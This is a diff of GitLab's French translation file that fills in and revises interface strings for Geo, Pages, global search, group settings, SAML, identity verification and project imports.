-msgstr "Primaire"
+msgstr "Principal"
msgid "Geo|Primary site"
msgstr "Site principal"
@@ -18052,7 +18234,7 @@ msgid "Geo|Remove %{nodeType} site"
msgstr "Supprimer le site %{nodeType}"
msgid "Geo|Remove entry"
-msgstr ""
+msgstr "Supprimer l'entrée"
msgid "Geo|Remove site"
msgstr "Supprimer le site"
@@ -18232,7 +18414,7 @@ msgid "Geo|This will reverify all projects. It may take some time to complete. A
msgstr "Cette action revérifiera tous les projets. Cela peut prendre un certain temps pour s'exécuter. Êtes-vous sûr(e) de vouloir continuer ?"
msgid "Geo|Time in seconds"
-msgstr ""
+msgstr "Durée en secondes"
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr "L’entrée de la base de données de suivi sera supprimée. Êtes-vous sûr(e) ?"
@@ -18265,25 +18447,25 @@ msgid "Geo|Verification"
msgstr "Vérification"
msgid "Geo|Verification concurrency limit"
-msgstr ""
+msgstr "Limitation des vérifications simultanées"
msgid "Geo|Verification failed - %{error}"
msgstr "Vérification en échec — %{error}"
msgid "Geo|Verification information"
-msgstr ""
+msgstr "Information de vérification"
msgid "Geo|Verification status"
msgstr "État de la vérification"
msgid "Geo|Verified"
-msgstr ""
+msgstr "Vérifié"
msgid "Geo|Waiting for scheduler"
msgstr "En attente de planification"
msgid "Geo|With GitLab Geo, you can install a special read-only and replicated instance anywhere."
-msgstr ""
+msgstr "Avec GitLab Geo, vous pouvez installer une instance spéciale en lecture seule et dupliquée n'importe où."
msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo site."
msgstr "Vous êtes sur un site Geo secondaire, %{b_open}en lecture seule%{b_close}."
@@ -18327,9 +18509,6 @@ msgstr "Premiers pas avec les versions"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Période de Git GC"
-
msgid "Git LFS Rate Limits"
msgstr "Limitations de Fréquence Git LFS"
@@ -18343,7 +18522,7 @@ msgid "Git LFS status:"
msgstr "État de Git LFS :"
msgid "Git global setup"
-msgstr ""
+msgstr "Configuration globale de Git"
msgid "Git repository URL"
msgstr "URL du dépôt Git"
@@ -18358,7 +18537,7 @@ msgid "Git strategy"
msgstr "Stratégie Git"
msgid "Git transfer in progress"
-msgstr ""
+msgstr "Transfert Git en cours"
msgid "Git version"
msgstr "Version de Git"
@@ -18403,7 +18582,7 @@ msgid "GitAbuse|You cannot specify more than %{maxExcludedUsers} excluded users.
msgstr "Vous ne pouvez pas spécifier plus de %{maxExcludedUsers} utilisateurs exclus."
msgid "GitHub API rate limit exceeded. Try again after %{reset_time}"
-msgstr ""
+msgstr "La limite de fréquence d'appel à l'API de GitHub a été dépassée. Réessayez après %{reset_time}"
msgid "GitHub import"
msgstr "Importation de GitHub"
@@ -18421,7 +18600,7 @@ msgid "GitLab / Unsubscribe"
msgstr "GitLab / Se désabonner"
msgid "GitLab API"
-msgstr ""
+msgstr "API de GitLab"
msgid "GitLab Account Request"
msgstr "Demande de Compte GitLab"
@@ -18457,7 +18636,7 @@ msgid "GitLab Support Bot"
msgstr "Bot de support GitLab"
msgid "GitLab Team Member"
-msgstr ""
+msgstr "Membre de l'Équipe GitLab"
msgid "GitLab Ultimate trial"
msgstr "Essai GitLab Ultimate"
@@ -18481,7 +18660,7 @@ msgid "GitLab export"
msgstr "Export GitLab"
msgid "GitLab for Jira Cloud"
-msgstr ""
+msgstr "GitLab pour Jira Cloud"
msgid "GitLab group: %{source_link}"
msgstr "Groupe GitLab : %{source_link}"
@@ -18493,10 +18672,10 @@ msgid "GitLab informs you if a new version is available. %{link_start}What infor
msgstr "GitLab vous informe si une nouvelle version est disponible. %{link_start}Quelles sont les informations collectées par GitLab Inc. ?%{link_end}"
msgid "GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate"
-msgstr ""
+msgstr "GitLab est une plateforme DevOps complète proposée sous la forme d'une application unique. Elle révolutionne la collaboration entre les équipes de Développement, de Sécurité et d'Exploitation"
msgid "GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way%{br_tag}Development, Security, and Ops teams collaborate"
-msgstr ""
+msgstr "GitLab est une plateforme DevOps complète proposée sous la forme d'une application unique. Elle révolutionne%{br_tag}la collaboration entre les équipes de Développement, de Sécurité et d'Exploitation"
msgid "GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security."
msgstr "GitLab est une application tout-en-un pour gérer le cycle de développement logiciel dans son intégralité. Depuis la planification du projet et la gestion du code source jusqu'à l'IC/CD, la supervision et la sécurité."
@@ -18573,7 +18752,7 @@ msgid "GitLabPages|Check the Pipeline Status"
msgstr "Vérifier l'État du Pipeline"
msgid "GitLabPages|Configure pages"
-msgstr ""
+msgstr "Configurer les pages"
msgid "GitLabPages|Domains"
msgstr "Domaines"
@@ -18582,13 +18761,13 @@ msgid "GitLabPages|Edit"
msgstr "Éditer"
msgid "GitLabPages|Expired"
-msgstr ""
+msgstr "Expiré"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "Forcer le HTTPS (nécessite des certificats valides)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
-msgstr "Les Pages GitLab de ce projet sont désactivées. Vous pouvez les activer sur la page %{strong_start}Paramètres &gt; Général &gt; Visibilité%{strong_end} de votre projet."
+msgstr "GitLab Pages est désactivé pour ce projet. Vous pouvez l'activer sur la page %{strong_start}Paramètres &gt; Général &gt; Visibilité%{strong_end} de votre projet."
msgid "GitLabPages|Maximum size (MB)"
msgstr "Taille maximale (Mo)"
@@ -18630,13 +18809,13 @@ msgid "GitLabPages|Support for domains and certificates is disabled. Ask your sy
msgstr "La prise en charge des domaines et des certificats est désactivée. Demandez à l'administrateur de votre système de l'activer."
msgid "GitLabPages|Unverified"
-msgstr ""
+msgstr "Non vérifié"
msgid "GitLabPages|Updating your Pages configuration..."
msgstr "Mise à jour de la configuration de vos Pages..."
msgid "GitLabPages|Verified"
-msgstr ""
+msgstr "Vérifié"
msgid "GitLabPages|Waiting for the Pages Pipeline to complete..."
msgstr "En attente de la fin du Pipeline Pages..."
@@ -18657,7 +18836,7 @@ msgid "GitLabPages|Your Project has been configured for Pages. Now we have to wa
msgstr "Votre Projet a été configuré pour Pages. Il faut à présent attendre que le Pipeline se termine avec succès pour la première fois."
msgid "GitLabPages|Your pages are served under:"
-msgstr ""
+msgstr "Vos pages sont servies sous :"
msgid "Gitaly Servers"
msgstr "Serveurs Gitaly"
@@ -18687,7 +18866,7 @@ msgid "GithubImporter|PR reviews"
msgstr "Revues de PR"
msgid "GithubImporter|Pull requests"
-msgstr ""
+msgstr "Demandes de tirage"
msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
msgstr "Créez un %{token_link_start}jeton d'accès personnel%{token_link_end} disposant de l'accès %{status_html} puis collez-le ici."
@@ -18696,13 +18875,13 @@ msgid "GithubIntegration|Enable static status check names"
msgstr "Activer les noms de vérification de l'état statique"
msgid "GithubIntegration|Obtain statuses for commits and pull requests."
-msgstr ""
+msgstr "Obtenir les états des commits et des demandes de tirage."
msgid "GithubIntegration|Repository URL"
msgstr "URL du dépôt"
msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
-msgstr ""
+msgstr "Sélectionnez cette option si vous souhaitez que GitHub marque les vérifications d'état comme « Requises ». %{learn_more_link_start}En savoir plus%{learn_more_link_end}."
msgid "GithubIntegration|Static status check names (optional)"
msgstr "Noms de vérification d'état statiques (facultatif)"
@@ -18743,6 +18922,9 @@ msgstr "La Recherche Globale est désactivée pour cette portée"
msgid "Global Shortcuts"
msgstr "Raccourcis globaux"
+msgid "Global notification email"
+msgstr "Courriel de notification globale"
+
msgid "Global notification level"
msgstr "Niveau de notification global"
@@ -18755,6 +18937,12 @@ msgstr " %{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "%{count} résultats par défaut fournis. Utilisez les touches fléchées haut et bas pour parcourir la liste des résultats de la recherche."
+msgid "GlobalSearch|Close"
+msgstr "Fermer"
+
+msgid "GlobalSearch|Group"
+msgstr "Groupe"
+
msgid "GlobalSearch|Groups"
msgstr "Groupes"
@@ -18779,6 +18967,9 @@ msgstr "Demandes de fusion qui me sont assignées"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "Demandes de fusion dont je suis un relecteur"
+msgid "GlobalSearch|Project"
+msgstr "Projet"
+
msgid "GlobalSearch|Projects"
msgstr "Projets"
@@ -18797,6 +18988,9 @@ msgstr "Le nombre de résultats est supérieur à la limite."
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "Résultats mis à jour. %{count} résultats disponibles. Utilisez les touches fléchées haut et bas pour parcourir la liste des résultats de la recherche, ou ENTRÉE pour envoyer."
+msgid "GlobalSearch|Search"
+msgstr "Rechercher"
+
msgid "GlobalSearch|Search GitLab"
msgstr "Rechercher sur GitLab"
@@ -18809,9 +19003,15 @@ msgstr "Les résultats de la recherche sont en cours de chargement"
msgid "GlobalSearch|Settings"
msgstr "Paramètres"
+msgid "GlobalSearch|Syntax options"
+msgstr "Options de syntaxe"
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "Une erreur s'est produite lors de la récupération des suggestions d'autocomplétion de recherche."
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr "Une erreur s'est produite lors de la récupération du document « Options de syntaxe »."
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "Écrivez puis appuyez sur la touche Entrée pour soumettre la recherche."
@@ -18846,7 +19046,7 @@ msgid "GlobalShortcuts|Unable to copy the source branch name at this time."
msgstr "Impossible de copier le nom de la branche source pour le moment."
msgid "Globally-allowed IP ranges"
-msgstr ""
+msgstr "Plages d'IP autorisées pour tout le monde"
msgid "Go Back"
msgstr "Retour"
@@ -18969,7 +19169,7 @@ msgid "Go to the activity feed"
msgstr "Aller au flux d'activité"
msgid "Go to the group’s 'Settings &gt; General' page, and check 'Restrict membership by email domain'."
-msgstr ""
+msgstr "Allez sur la page « Paramètres &gt; Général » du groupe et cochez « Restreindre l'adhésion par domaine de messagerie »."
msgid "Go to the milestone list"
msgstr "Aller à la liste des jalons"
@@ -18987,7 +19187,7 @@ msgid "Go to your To-Do list"
msgstr "Aller à vos pense-bêtes"
msgid "Go to your fork"
-msgstr ""
+msgstr "Aller à votre dépôt divergent"
msgid "Go to your groups"
msgstr "Aller à vos groupes"
@@ -19041,7 +19241,7 @@ msgid "GoogleCloud|Google OAuth2 token revocation requested"
msgstr "Révocation du jeton Google OAuth2 demandée"
msgid "GoogleCloud|I understand the responsibilities involved with managing service account keys"
-msgstr ""
+msgstr "Je comprends les responsabilités liées à la gestion des clés de compte de service"
msgid "GoogleCloud|New service account is generated for the selected Google Cloud project"
msgstr "Un nouveau compte de service est généré pour le projet Google Cloud sélectionné"
@@ -19089,7 +19289,7 @@ msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels
msgstr "Configurez l'authentification Grafana pour intégrer des panneaux Grafana dans du GitLab Flavored Markdown."
msgid "Grant access"
-msgstr ""
+msgstr "Accorder l'accès"
msgid "Grant write permissions to this key"
msgstr "Accorder des autorisations d'écriture à cette clé"
@@ -19136,6 +19336,12 @@ msgstr "Le groupe %{group_name} a été planifié pour suppression."
msgid "Group %{group_name} was successfully created."
msgstr "Le groupe %{group_name} a été créé avec succès."
+msgid "Group '%{group_name}' could not be updated."
+msgstr "Le groupe « %{group_name} » n'a pas pu être mis à jour."
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr "Le groupe « %{group_name} » a été mis à jour avec succès."
+
msgid "Group Access Tokens"
msgstr "Jetons d'Accès de Groupe"
@@ -19236,7 +19442,7 @@ msgid "Group name (your organization)"
msgstr "Nom du groupe (votre entreprise)"
msgid "Group navigation"
-msgstr ""
+msgstr "Navigation dans les groupes"
msgid "Group overview content"
msgstr "Contenu de la vue d'ensemble du groupe"
@@ -19298,8 +19504,8 @@ msgstr "Demandes de fusion créées"
msgid "GroupActivityMetrics|Recent activity"
msgstr "Activité récente"
-msgid "GroupImport|Failed to import group."
-msgstr "L'importation du groupe a échoué."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr "Échec de l'importation du groupe : %{error}"
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "Le groupe « %{group_name} » est en cours d'importation."
@@ -19419,7 +19625,7 @@ msgid "GroupSAML|Could not create SAML group link: %{errors}."
msgstr "Impossible de créer le lien de groupe SAML : %{errors}."
msgid "GroupSAML|Default membership role"
-msgstr ""
+msgstr "Rôle d’adhésion par défaut"
msgid "GroupSAML|Enable SAML authentication for this group"
msgstr "Activer l'authentification SAML pour ce groupe"
@@ -19476,7 +19682,7 @@ msgid "GroupSAML|Reset SCIM token"
msgstr "Réinitialiser le jeton SCIM"
msgid "GroupSAML|Role to assign members of this SAML group."
-msgstr ""
+msgstr "Rôle pour assigner les membres de ce groupe SAML."
msgid "GroupSAML|SAML Group Links"
msgstr "Liens de groupe SAML"
@@ -19536,7 +19742,7 @@ msgid "GroupSAML|With prohibit outer forks flag enabled group members will be ab
msgstr "Avec l'indicateur activé pour interdire les forks externes, les membres du groupe ne pourront créer un fork du projet que dans votre groupe."
msgid "GroupSAML|as %{access_level}"
-msgstr ""
+msgstr "comme %{access_level}"
msgid "GroupSAML|must match stored NameID of \"%{extern_uid}\" to identify user and allow sign in"
msgstr "doit correspondre au NameID stocké de « %{extern_uid} » pour identifier l'utilisateur et permettre la connexion"
@@ -19566,7 +19772,7 @@ msgid "GroupSelect|Select a group"
msgstr "Sélectionner un groupe"
msgid "GroupSettings|Applied to all subgroups unless overridden by a group owner. Groups already added to the project lose access."
-msgstr ""
+msgstr "Appliqué à tous les sous-groupes à moins d'être outrepassé par un propriétaire de groupe. Les groupes déjà ajoutés au projet perdent les accès."
msgid "GroupSettings|Auto DevOps pipeline was updated for the group"
msgstr "Le pipeline Auto DevOps a été mis à jour pour le groupe"
@@ -19719,13 +19925,13 @@ msgid "GroupSettings|You will need to update your local repositories to point to
msgstr "Vous devrez mettre à jour vos dépôts locaux pour indiquer le nouvel emplacement."
msgid "GroupSettings|cannot be changed by you"
-msgstr ""
+msgstr "ne peut pas être modifié par vous"
msgid "GroupSettings|cannot be disabled when the parent group \"Share with group lock\" is enabled, except by the owner of the parent group"
msgstr "ne peut pas être désactivé lorsque le groupe parent a activé le « Partage avec verrou de groupe », sauf par le propriétaire du groupe parent."
msgid "GroupSettings|cannot change when group contains projects with NPM packages"
-msgstr ""
+msgstr "ne peut pas changer lorsque le groupe contient des projets avec des paquets NPM"
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "supprimer le partage avec verrou de groupe pour %{ancestor_group_name}"
@@ -19781,9 +19987,15 @@ msgstr "Les groupes sont la manière la plus efficace de gérer plusieurs projet
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Si vous organisez vos projets au sein d’un groupe, cela fonctionne comme un dossier."
+msgid "GroupsEmptyState|No archived projects."
+msgstr "Aucun projet archivé."
+
msgid "GroupsEmptyState|No groups found"
msgstr "Aucun groupe trouvé"
+msgid "GroupsEmptyState|No shared projects."
+msgstr "Aucun projet partagé."
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "Aucun sous-groupe ni projet."
@@ -19838,6 +20050,9 @@ msgstr "Importer un groupe"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Importer des groupes depuis une autre instance de GitLab"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr "L'importation de groupes par transfert direct est actuellement désactivée."
+
msgid "GroupsNew|No import options available"
msgstr "Aucune option d'importation n'est disponible"
@@ -19847,6 +20062,12 @@ msgstr "Tous les objets associés ne sont pas migrés. %{docs_link_start}Plus d'
msgid "GroupsNew|Personal access token"
msgstr "Jeton d'accès personnel"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr "Veuillez %{admin_link_start}l'activer dans les paramètres d'administration%{admin_link_end}."
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr "Veuillez demander à votre Administrateur de l'activer dans les paramètres d'administration."
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Veuillez renseigner l'URL source de GitLab."
@@ -19856,6 +20077,9 @@ msgstr "Veuillez renseigner votre jeton d’accès personnel."
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "Spécifiez les identifiants d'une autre instance de GitLab pour importer vos groupes directement."
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr "N'oubliez pas de l'activer également sur l'instance à partir de laquelle vous migrez."
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "Cette fonctionnalité est obsolète et remplacée par la %{docs_link_start}migration de groupe%{docs_link_end}."
@@ -19973,6 +20197,9 @@ msgstr "URL du fichier HAR"
msgid "HAR file path or URL"
msgstr "Chemin d'accès ou URL du fichier HAR"
+msgid "HTML script tag"
+msgstr "Balise de script HTML"
+
msgid "HTTP Archive (HAR)"
msgstr "Archive HTTP (HAR)"
@@ -20032,7 +20259,7 @@ msgid "HarborRegistry|-- tags"
msgstr "-- étiquettes"
msgid "HarborRegistry|Digest: %{imageId}"
-msgstr ""
+msgstr "Empreinte : %{imageId}"
msgid "HarborRegistry|Harbor Registry"
msgstr "Registre Harbor"
@@ -20209,7 +20436,7 @@ msgid "Hi %{username},"
msgstr "Bonjour %{username},"
msgid "Hidden"
-msgstr ""
+msgstr "Caché"
msgid "Hide"
msgstr "Masquer"
@@ -20284,6 +20511,12 @@ msgstr "Y a-t-il un framework ou un type d'élément de travail auquel vous souh
msgid "Hierarchy|Planning hierarchy"
msgstr "Hiérarchie de planification"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr "Une erreur s'est produite lors de la récupération des enfants."
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr "Une erreur s'est produite lors de la suppression d'un élément enfant."
+
msgid "Hierarchy|Take the work items survey"
msgstr "Répondre à l'enquête sur les éléments de travail"
@@ -20300,7 +20533,7 @@ msgid "High - S2"
msgstr "Élevée - S2"
msgid "High or unknown vulnerabilities present"
-msgstr ""
+msgstr "Vulnérabilités élevées ou inconnues présentes"
msgid "Highest role:"
msgstr "Rôle le plus élevé :"
@@ -20318,7 +20551,7 @@ msgid "HighlightBar|Original alert:"
msgstr "Alerte originale :"
msgid "HighlightBar|Time to SLA:"
-msgstr ""
+msgstr "Durée avant SLA :"
msgid "Historical release"
msgstr "Version de l'historique"
@@ -20420,7 +20653,7 @@ msgid "I want to use GitLab CI with my existing repository"
msgstr "Je souhaite utiliser GitLab CI avec mon dépôt existant"
msgid "I'd like to receive updates about GitLab via email"
-msgstr ""
+msgstr "Je souhaite recevoir des actualités concernant GitLab par courriel"
msgid "I'm signing up for GitLab because:"
msgstr "Je m'inscris sur GitLab car :"
@@ -20468,7 +20701,7 @@ msgid "IDE|Start a new merge request"
msgstr "Démarrer une nouvelle demande de fusion"
msgid "IDE|Successful commit"
-msgstr ""
+msgstr "Validation réussie"
msgid "IDE|This option is disabled because you are not allowed to create merge requests in this project."
msgstr "Cette option est désactivée car vous n'êtes pas autorisé à créer des demandes de fusion sur ce projet."
@@ -20486,16 +20719,16 @@ msgid "IP Address"
msgstr "Adresse IP"
msgid "IP address expiration time"
-msgstr ""
+msgstr "Délai d'expiration de l'adresse IP"
msgid "IP address restrictions"
-msgstr ""
+msgstr "Restrictions sur les adresses IP"
msgid "IP addresses per user"
msgstr "Adresses IP par utilisateur"
msgid "IP subnet restriction only allowed for top-level groups"
-msgstr ""
+msgstr "La restriction sur des sous-réseaux IP n'est autorisée que pour les groupes de premier niveau"
msgid "Id"
msgstr "Id"
@@ -20516,7 +20749,7 @@ msgid "IdentityVerification|A new code has been sent."
msgstr "Un nouveau code a été envoyé."
msgid "IdentityVerification|Before you create your first project, we need you to verify your identity with a valid payment method. You will not be charged during this step. If we ever need to charge you, we will let you know."
-msgstr ""
+msgstr "Avant que vous ne créiez votre premier projet, nous avons besoin que vous vérifiiez votre identité avec un moyen de paiement valide. Vous ne serez pas débité pendant cette étape. Si nous avons besoin de vous facturer un jour, nous vous en informerons."
msgid "IdentityVerification|Before you create your group, we need you to verify your identity with a valid payment method. You will not be charged during this step. If we ever need to charge you, we will let you know."
msgstr "Avant de créer votre groupe, nous avons besoin de vérifiiez votre identité avec un mode de paiement valide. Vous ne serez pas débité lors de cette étape. Si jamais nous avons besoin de vous facturer, nous vous le ferons savoir."
@@ -20639,7 +20872,7 @@ msgid "IdentityVerification|Verify payment method"
msgstr "Méthode de vérification de paiement"
msgid "IdentityVerification|Verify phone number"
-msgstr ""
+msgstr "Vérifier le numéro de téléphone"
msgid "IdentityVerification|Verify your identity"
msgstr "Vérifiez votre identité"
@@ -20678,16 +20911,16 @@ msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
msgstr "Si vide, %{code_open}Réessayez plus tard%{code_close} par défaut."
msgid "If blank, set allowable lifetime to %{instance_level_policy_in_words}, as defined by the instance admin. Once set, existing tokens for users in this group may be revoked."
-msgstr ""
+msgstr "Si vide, définit la durée de vie admissible à %{instance_level_policy_in_words}, telle que spécifiée par l'administrateur de l'instance. Une fois définie, les jetons existants pour les utilisateurs de ce groupe pourraient être révoqués."
msgid "If checked, group owners can manage LDAP group links and LDAP member overrides"
msgstr ""
msgid "If checked, new group memberships and permissions can only be added via LDAP synchronization"
-msgstr ""
+msgstr "Si cette case est cochée, les nouvelles adhésions aux groupes et les nouvelles permissions ne peuvent être ajoutées que via la synchronisation LDAP"
msgid "If disabled, a diverged local branch will not be automatically updated with commits from its remote counterpart, to prevent local data loss. If the default branch (%{default_branch}) has diverged and cannot be updated, mirroring will fail. Other diverged branches are silently ignored. %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Si la case est décochée, une branche locale divergente ne sera pas mise à jour automatiquement avec les commits provenant de son homologue distant, ceci afin d'empêcher toute perte de données en local. Si la branche par défaut (%{default_branch}) a divergé et ne peut pas être mise à jour, alors la mise en miroir échouera. Les autres branches divergentes sont ignorées silencieusement. %{link_start}En savoir plus.%{link_end}"
msgid "If disabled, only administrators can configure repository mirroring."
msgstr "Si cette option est désactivée, seuls les administrateurs peuvent configurer la mise en miroir du dépôt."
@@ -20698,9 +20931,6 @@ msgstr "Si activé, seules les branches protégées seront mises en miroir."
msgid "If no options are selected, only administrators can register runners."
msgstr "Si aucune option n'est sélectionnée, seuls les administrateurs peuvent enregistrer des exécuteurs."
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "Si aucune de ces options ne fonctionne, essayez de contacter un administrateur GitLab."
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "Si le nombre d'utilisateurs actifs dépasse la limite définie, une quantité de %{users_over_license_link} vous sera facturée lors du prochain rapprochement de votre licence."
@@ -20720,7 +20950,10 @@ msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commit
msgstr "Si vous utilisez GitHub, vous verrez les statuts des pipelines sur GitHub pour vos commits et demandes d’intégration (pull requests). %{more_info_link}"
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
-msgstr "Si vous ajoutez des %{codeStart}nécessités%{codeEnd} aux tâches de votre pipeline, vous serez en mesure de voir les relations des %{codeStart}nécessités%{codeEnd} entre tâches dans cet onglet en tant que %{linkStart}Graphe orienté acyclique (DAG)%{linkEnd}."
+msgstr "Si vous ajoutez des %{codeStart}needs%{codeEnd} aux tâches de votre pipeline, vous serez en mesure de voir les relations des %{codeStart}needs%{codeEnd} entre tâches dans cet onglet en tant que %{linkStart}Graphe orienté acyclique (DAG)%{linkEnd}."
+
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr "Si vous ne parvenez pas à vous connecter ni à récupérer votre mot de passe, contactez un administrateur GitLab."
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "Si vous n'avez pas initié ces tentatives de connexion, veuillez contacter votre administrateur ou activer l'authentification à deux facteurs (2FA) sur votre compte."
@@ -20819,8 +21052,8 @@ msgstr[1] "Importer %d dépôts compatibles"
msgid "Import %d repository"
msgid_plural "Import %d repositories"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Importer %d dépôt"
+msgstr[1] "Importer %d dépôts"
msgid "Import CSV"
msgstr "Importer un fichier CSV"
@@ -20832,13 +21065,13 @@ msgid "Import an exported GitLab project"
msgstr "Importer un projet GitLab exporté"
msgid "Import and export rate limits"
-msgstr ""
+msgstr "Limitation de la fréquence des importations et des exportations"
msgid "Import failed due to a GitHub error: %{original} (HTTP %{code})"
msgstr "L'importation a échoué en raison d'une erreur GitHub : %{original} (HTTP %{code})"
msgid "Import from"
-msgstr ""
+msgstr "Importer depuis"
msgid "Import from Jira"
msgstr "Importer depuis Jira"
@@ -20942,12 +21175,24 @@ msgstr "Paramètres avancés d'importation"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "URL d'importation bloquée : %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr "Annuler l'importation"
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr "L'annulation de l'importation du projet a échoué"
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr "L'annulation de l'importation du projet a échoué : %{reason}"
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Erreur lors de l'importation du dépôt %{project_safe_import_url} vers %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr "Importer des dépôts"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr "Les fichiers importés seront conservés. Vous pourrez réimporter ce dépôt ultérieurement."
+
msgid "ImportProjects|Importing the project failed"
msgstr "L'importation du projet a échoué"
@@ -20958,7 +21203,7 @@ msgid "ImportProjects|Requesting namespaces failed"
msgstr "L'interrogation des espaces de noms a échoué"
msgid "ImportProjects|Requesting your %{provider} repositories failed"
-msgstr ""
+msgstr "La demande de vos dépôts auprès de %{provider} a échoué"
msgid "ImportProjects|Select the repositories you want to import"
msgstr "Sélectionnez les dépôts que vous souhaitez importer"
@@ -20973,7 +21218,7 @@ msgid "ImportProjects|The repository could not be created."
msgstr "Le dépôt n'a pas pu être créé."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
-msgstr ""
+msgstr "La mise à jour des projets importés avec des modifications en temps réel a échoué"
msgid "Imported requirements"
msgstr "Exigences importées"
@@ -20996,7 +21241,7 @@ msgid "Improve customer support with Service Desk"
msgstr "Améliorer le support client avec le Service d'Assistance"
msgid "Improve quality with test cases"
-msgstr ""
+msgstr "Améliorer la qualité avec les cas de test"
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr "En cas de miroir « pull », votre utilisateur sera l’auteur de tous les événements du flux d’activité résultant d’une mise à jour, comme la création de nouvelles branches ou les nouveaux commits poussés vers des branches existantes."
@@ -21020,19 +21265,19 @@ msgid "InProductMarketing|%{organization_name} logo"
msgstr "Logo de %{organization_name}"
msgid "InProductMarketing|%{strong_start}Advanced application security%{strong_end} — including SAST, DAST scanning, FUZZ testing, dependency scanning, license compliance, secrete detection"
-msgstr ""
+msgstr "%{strong_start}Sécurité avancée des applications%{strong_end} — incluant les analyses SAST et DAST, les tests à données aléatoires, l'analyse des dépendances, la conformité des licences et la détection de secrets"
msgid "InProductMarketing|%{strong_start}Company wide portfolio management%{strong_end} — including multi-level epics, scoped labels"
-msgstr ""
+msgstr "%{strong_start}Gestion de portefeuille à l'échelle de l'entreprise%{strong_end} — incluant des épopées à plusieurs niveaux, des étiquettes à portée limitée"
msgid "InProductMarketing|%{strong_start}Executive level insights%{strong_end} — including reporting on productivity, tasks by type, days to completion, value stream"
-msgstr ""
+msgstr "%{strong_start}Données analytiques de niveau exécutif%{strong_end} — incluant des rapports sur la productivité, les tâches par type, le nombre de jours avant réalisation, chaîne de valeur"
msgid "InProductMarketing|%{strong_start}GitLab Inc.%{strong_end} 268 Bush Street, #350, San Francisco, CA 94104, USA"
msgstr "%{strong_start}GitLab Inc.%{strong_end} 268 Bush Street, #350, San Francisco, CA 94104, USA"
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
-msgstr ""
+msgstr "%{strong_start}Rôles d'approbation multiples%{strong_end} — incluant les propriétaires de code et les approbations de fusion requises"
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr "*GitLab*, nom : synonyme d'équipes efficaces"
@@ -21041,19 +21286,19 @@ msgid "InProductMarketing|...and you can get a free trial of GitLab Ultimate"
msgstr "...et vous pouvez obtenir un essai gratuit de GitLab Ultimate"
msgid "InProductMarketing|3 ways to dive into GitLab CI/CD"
-msgstr ""
+msgstr "3 façons de plonger dans GitLab CI/CD"
msgid "InProductMarketing|A single application eliminates complex integrations, data chokepoints, and toolchain maintenance, resulting in greater productivity and lower cost."
-msgstr ""
+msgstr "Une application unique élimine les intégrations complexes, les goulots d'étranglement de données et la maintenance des chaînes d'outils logiciels, résultant en une productivité accrue et des coûts réduits."
